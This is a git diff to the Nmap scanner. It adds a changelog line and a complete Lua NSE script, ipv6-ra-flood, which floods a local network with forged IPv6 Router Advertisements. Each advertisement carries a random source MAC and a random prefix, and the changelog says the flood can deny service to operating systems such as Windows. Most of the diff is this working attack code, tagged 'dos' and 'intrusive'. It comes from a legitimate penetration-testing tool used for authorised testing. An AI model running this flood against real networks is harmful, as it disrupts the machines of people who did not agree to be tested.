diff --git a/CHANGELOG b/CHANGELOG
index fe9919eb5..db17f0977 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,9 @@
 # Nmap Changelog ($Id$); -*-text-*-
 
+o [NSE] Added ipv6-ra-flood script by Adam Števko. This script sends a
+  flood of router advertisements, which can DoS certain operating
+  systems including Windows.
+
 o [NSE] The nmap.ip_send function now takes a second argument, the
   destination to send to. Previously the destination address was taken
   from the packet buffer, but this failed for IPv6 link-local
diff --git a/scripts/ipv6-ra-flood.nse b/scripts/ipv6-ra-flood.nse
new file mode 100644
index 000000000..13f82b312
--- /dev/null
+++ b/scripts/ipv6-ra-flood.nse
@@ -0,0 +1,158 @@
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local math = require "math"
+local string = require "string"
+local os = require "os"
+
+description = [[ Generates a flood of Router Adverisments (RA) with randomized source MAC address and annouced IPv6 prefixes causing machines to be DoSed.
+]]
+
+---
+-- @args
+-- ipv6-ra-flood.interface defines interface we should broadcast on
+--
+-- @usage
+-- nmap -6 --script ipv6-ra-flood.nse
+-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>'
+--
+-- @output
+-- n/a
+
+author = "Adam Števko"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"dos", "intrusive"}
+
+try = nmap.new_try()
+
+math.randomseed(os.time())
+
+prerule = function()
+	if nmap.address_family() ~= "inet6" then
+	 	stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
+		return false 
+	end
+	
+	if not nmap.is_privileged() then
+		stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)	
+		return false 
+	end
+
+	if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") then
+		stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)	
+		return false 
+	end
+
+	return true
+end
+
+local function get_interface()
+	local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+
+	local if_table = try(nmap.get_interface_info(arg_interface))
+	
+	if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
+			return if_table.device
+		else
+			stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
+	end			
+end
+
+--- Generates random MAC address
+-- @return mac string containing random MAC address 
+local function random_mac()
+
+	local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
+	return mac
+end
+
+--- Generates random IPv6 prefix
+-- @return prefix string containing random IPv6 /64 prefix
+local function get_random_prefix()
+	local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
+
+	return prefix
+end
+
+--- Build an ICMPv6 payload of Router Advertisement.
+-- @param mac_src six-byte string of the source MAC address.
+-- @param prefix 16-byte string of IPv6 address.
+-- @param prefix_len integer that represents the length of the prefix.
+-- @param valid_time integer that represents the valid time of the prefix.
+-- @param preferred_time integer that represents the preferred time of the prefix.
+-- @param mtu integer that represents MTU of the link
+-- @return icmpv6_payload string representing ICMPv6 RA payload
+
+local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
+	local ra_msg = string.char(0x0, --cur hop limit
+		0x08, --flags
+		0x00,0x00, --router lifetime
+		0x00,0x00,0x00,0x00, --reachable time
+		0x00,0x00,0x00,0x00) --retrans timer
+
+	local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved 
+		packet.numtostr32(mtu) -- MTU
+
+	local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
+		packet.set_u32("....", 0, valid_time) .. -- valid lifetime
+		packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
+		string.char(0,0,0,0) .. --unknown
+		prefix
+
+	local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
+	local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
+	local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
+	
+	local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
+
+	return icmpv6_payload
+end
+
+--- Broadcasting on the selected interface
+-- @param iface table containing interface information 
+local function broadcast_on_interface(iface)
+	stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface" .. iface)
+
+	local dnet = nmap.new_dnet()
+
+	try(dnet:ethernet_open(iface))
+	
+	local dst_mac = packet.mactobin("33:33:00:00:00:01")
+	local dst_ip6_addr = packet.ip6tobin("ff02::1")
+	
+	local prefix_len = 64
+	
+	--- maximum possible value of 4-byte integer
+	local valid_time = tonumber(0xffffffff)
+	local preffered_time = tonumber(0xffffffff) 
+	
+	local mtu = 1500
+
+	while true do
+
+		local src_mac = packet.mactobin(random_mac()) 
+		local src_ip6_addr = packet.mac_to_lladdr(src_mac)
+		
+		local prefix = packet.ip6tobin(get_random_prefix())
+		
+		local packet = packet.Frame:new()
+
+		packet.mac_src = src_mac
+		packet.mac_dst = dst_mac
+		packet.ip_bin_src = src_ip6_addr
+		packet.ip_bin_dst = dst_ip6_addr
+		
+		local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
+		packet:build_icmpv6_header(134, 0, icmpv6_payload)
+		packet:build_ipv6_packet()
+		packet:build_ether_frame()
+
+		try(dnet:ethernet_send(packet.frame_buf))
+	end
+end
+
+function action()
+	interface = get_interface()
+	
+	broadcast_on_interface(interface)
+end
diff --git a/scripts/script.db b/scripts/script.db
index 8f12df0ee..d9ffcd8eb 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -219,6 +219,7 @@ Entry { filename = "ip-geolocation-ipinfodb.nse", categories = { "discovery", "e
 Entry { filename = "ip-geolocation-maxmind.nse", categories = { "discovery", "external", "safe", } }
 Entry { filename = "ipidseq.nse", categories = { "discovery", "safe", } }
 Entry { filename = "ipv6-node-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ipv6-ra-flood.nse", categories = { "dos", "intrusive", } }
 Entry { filename = "irc-botnet-channels.nse", categories = { "discovery", "safe", "vuln", } }
 Entry { filename = "irc-brute.nse", categories = { "brute", "intrusive", } }
 Entry { filename = "irc-info.nse", categories = { "default", "discovery", "safe", } }